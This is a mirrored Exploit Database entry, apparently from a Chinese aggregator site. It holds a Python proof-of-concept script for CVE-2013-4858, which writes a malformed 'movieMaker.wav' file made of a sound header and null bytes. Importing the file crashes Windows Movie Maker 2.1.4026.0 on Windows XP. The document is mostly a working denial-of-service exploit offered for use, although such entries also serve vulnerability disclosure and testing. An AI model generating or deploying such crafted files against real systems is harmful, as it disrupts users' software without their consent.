Microsoft Windows Movie Maker 2.1.4026.0 – ‘.wav’ Crash (PoC)

• Exploit Database
• 14 阅读

• 作者： ariarat
  日期： 2013-07-18
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/26951/

• # Exploit Title: Windows Movie Maker Version 2.1.4026.0 (.wav) - Crash POC
  # Date: 16-07-2013
  # Exploit Author: ariarat
  # Vendor Homepage: http://www.microsoft.com
  # Software Link: included in windows xp sp2 and sp3
  # Version: 2.1.4026.0
  # Tested on: [ Windows XP sp3]
  # CVE : 2013-4858
  #============================================================================================
  # Open Windows movie maker in left panel click on "Import audio or music" and choose movieMaker.wav
  #
  #============================================================================================
  # Contact :
  #------------------
  # Web Page : http://ariarat.blogspot.com
  # Email: mehdi.esmaeelpour@gmail.com
  #============================================================================================
  
  #!/usr/bin/python
  
  string=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
  "\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
  "\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
  "\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
  
  filename = "movieMaker.wav"
  file = open(filename , "w")
  file.write(string)
  file.close()